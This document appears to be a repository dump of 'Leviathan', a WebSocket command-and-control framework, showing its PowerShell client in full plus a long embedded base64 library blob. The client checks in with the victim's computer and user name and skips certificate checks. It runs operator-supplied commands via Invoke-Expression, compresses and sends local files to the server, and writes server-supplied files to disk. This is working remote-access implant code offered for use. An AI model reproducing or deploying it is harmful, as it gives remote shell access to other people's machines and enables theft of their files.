├── LevianthanClient.ps1 ├── Leviathan.py ├── README.md ├── helpers ├── KThread.pyc ├── WinduSocketServer.py ├── WinduSocketServer.pyc ├── __init__.py └── __init__.pyc ├── menus ├── Client.py ├── Client.pyc ├── Main.py ├── Main.pyc ├── __init__.py └── __init__.pyc └── setup └── requirements.txt /LevianthanClient.ps1: -------------------------------------------------------------------------------- 1 | function Start-LeviathanClient { 2 | <##> 3 | [CmdletBinding()] 4 | param 5 | ( 6 | [parameter(Mandatory=$true)] 7 | [ValidateNotNullOrEmpty()] 8 | [ValidatePattern('^(ws|wss)://')] 9 | [string]$endpoint, 10 | 11 | [parameter(Mandatory=$false)] 12 | [ValidateNotNullOrEmpty()] 13 | [int]$DelayCheckin = 0 14 | ) 15 | 16 | $ErrorActionPreference = "SilentlyContinue" 17 | #We need to use the Activator class to create a websocket for v2.0 compliance 18 | try { 19 | Write-Verbose "[+] Creating the client" 20 | $client = [Activator]::CreateInstance([WebSocket4Net.WebSocket], @($endpoint)) 21 | } 22 | catch { 23 | Write-Verbose "[+] Unable to create the client. Exiting...." 24 | break 25 | } 26 | 27 | if ($endpoint.StartsWith('wss://')) { 28 | #no certificate validation if using secure websockets 29 | Write-Verbose "[+] Allowing untrusted certificates because secure websockets is being used" 30 | $client.AllowUntrustedCertificate = $true 31 | } 32 | 33 | #Register all the events we need to send and receive data from the server 34 | Write-Verbose "[+] Registering events for the client" 35 | $null = Register-ObjectEvent -InputObject $client -EventName MessageReceived -Action {New-Event -SourceIdentifier 'TaskReceived' -MessageData $($event.sourceEventArgs.Message)} 36 | $null = Register-ObjectEvent -InputObject $client -EventName Closed -Action {New-Event -SourceIdentifier 'ConnectionClosed' -MessageData $true} 37 | 38 | Write-Verbose "[+] Attempting to connect to server" 39 | $client.Open() 40 | Start-Sleep -Seconds 3 41 | #Wait for the handshake to complete 42 | if ($client.State -ne [WebSocket4Net.WebSocketState]::Open) { 43 | Write-Verbose "[+] Failed to connect to server. Exiting ..." 44 | break 45 | } 46 | 47 | #Send the checkin 48 | $checkin = "$env:COMPUTERNAME|$env:USERNAME" 49 | Start-Sleep -Seconds $DelayCheckin 50 | $client.Send($checkin) 51 | Write-Verbose "[+] Sent checkin to server" 52 | 53 | Write-Verbose "[+] Waiting for tasking" 54 | 55 | while ($client.State -ne [WebSocket4Net.WebSocketState]::Closed) { 56 | $encTask = (Wait-Event -SourceIdentifier 'TaskReceived').MessageData 57 | $rawTask = [Convert]::FromBase64String($encTask) 58 | #Get the task ID 59 | $TaskID = $rawTask[0] 60 | Write-Verbose "[+] Received Task from server $taskID" 61 | $ResultData = @() 62 | switch ($TaskID) { 63 | #Execute Cmd 64 | 0 { 65 | $cmd = [Text.Encoding]::ASCII.GetString($rawTask[2..$rawTask.Length]) 66 | if ($cmd -match '^cd') { 67 | $cmdargs = $cmd.split('cd')[-1] 68 | try { 69 | $cmdargs = $cmdargs.trim("`"").trim("'").trim() 70 | cd "$cmdargs" 71 | $result = $pwd 72 | } 73 | catch [System.Management.Automation.ActionPreferenceStopException] { 74 | $result = "Error: $_ (or cannot be accessed)." 75 | } 76 | } 77 | else { 78 | try { 79 | $result = Invoke-Expression -Command "$cmd -ErrorAction Stop | Out-String" 80 | } 81 | catch [System.Management.Automation.ActionPreferenceStopException] { 82 | $result = "Error: $_ (or cannot be accessed)." 83 | } 84 | } 85 | 86 | $ResultData += [BitConverter]::GetBytes(0) + [Text.Encoding]::ASCII.GetBytes("|$result") 87 | } 88 | #Download File 89 | 1 { 90 | try { 91 | Write-Verbose "Received Download task" 92 | $filePath = [Text.Encoding]::ASCII.GetString($rawTask[2..$rawTask.Length]) 93 | $filePath = (Resolve-Path -Path $filePath).Path 94 | $fileName = Split-Path -Path $filePath -Leaf 95 | Write-Verbose "uploading file $filePath" 96 | $rawData = [System.IO.File]::ReadAllBytes($filePath) 97 | # Taken from powersploit 98 | $CompressedStream = New-Object IO.MemoryStream 99 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) 100 | $DeflateStream.Write($rawData, 0, $rawData.Length) 101 | $DeflateStream.Dispose() 102 | $CompressedFileBytes = $CompressedStream.ToArray() 103 | $CompressedStream.Dispose() 104 | $fileData = [Convert]::ToBase64String($CompressedFileBytes) 105 | $ResultData += [BitConverter]::GetBytes(1) + [Text.Encoding]::ASCII.GetBytes("|$fileData|$fileName") 106 | } 107 | catch { 108 | $ResultData += [BitConverter]::GetBytes(4) + [Text.Encoding]::ASCII.GetBytes("|$_") 109 | } 110 | } 111 | #File upload 112 | 2 { 113 | try { 114 | Write-Verbose "Received upload task" 115 | $dataString = [Text.Encoding]::ASCII.GetString($rawTask[2..$rawTask.Length]) 116 | $encData = $dataString.split('|')[0] 117 | $fileName = $dataString.split('|')[1] 118 | Write-Verbose "Downloading file from server" 119 | Set-Content -Path $fileName -Value $([Convert]::FromBase64String($encData)) -Encoding Byte 120 | $ResultData += [BitConverter]::GetBytes(2) + [Text.Encoding]::ASCII.GetBytes("|File upload successful") 121 | } 122 | catch { 123 | $ResultData += [BitConverter]::GetBytes(2) + [Text.Encoding]::ASCII.GetBytes("|$_") 124 | } 125 | } 126 | 3 { 127 | Get-Event -SourceIdentifier "TaskReceived" | Remove-Event 128 | Get-EventSubscriber | Unregister-Event 129 | $script:client.close() 130 | exit 131 | } 132 | Default {$ResultData += [BitConverter]::GetBytes(4)} 133 | } 134 | Write-Verbose "[+] Sending task result data to server" 135 | $encData = [Convert]::ToBase64String($ResultData) 136 | $client.Send($encData) 137 | Get-Event -SourceIdentifier "TaskReceived" | Remove-Event 138 | } 139 | 140 | #Cleanup Events and subscriptions 141 | Get-Event -SourceIdentifier "TaskReceived" | Remove-Event 142 | Get-Event -SourceIdentifier "ConnectionClosed" | Remove-Event 143 | 144 | Get-EventSubscriber | Unregister-Event 145 | } 146 | 147 | #https://websocket4net.codeplex.com/releases/view/617508 148 | $EncodedCompressedFile = @' 149 | 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